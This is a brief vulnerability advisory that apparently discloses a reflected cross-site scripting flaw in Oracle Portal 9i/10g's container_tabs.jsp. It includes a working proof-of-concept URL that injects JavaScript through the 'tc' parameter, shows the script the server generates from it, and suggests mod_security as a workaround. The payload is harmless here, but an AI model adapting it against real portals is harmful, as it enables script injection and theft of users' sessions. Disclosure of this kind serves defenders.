Oracle Applications/Portal 9i/10g Cross Site Scripting

Description

There are plenty (hundreds) of Cross Site Scripting vulnerabilities in the
Oracle Portal. The following is one that you may found in any version:

http://<target>/webapp/jsp/container_tabs.jsp?tc=null%20=%20null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now&#39;,&#37;20&#39;null&#39;&#41;;//

The following code will be generated:

—SNIPPED—
<script language=javascript>
top.null =
null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now&#39;,
'null');//.render(window);
</script>
—SNIPPED—

Solution

There is no solution. As a workaround, enable mod_security if it's not.
Otherwise wait 6 months/1 year for a patch from Oracle Corp.
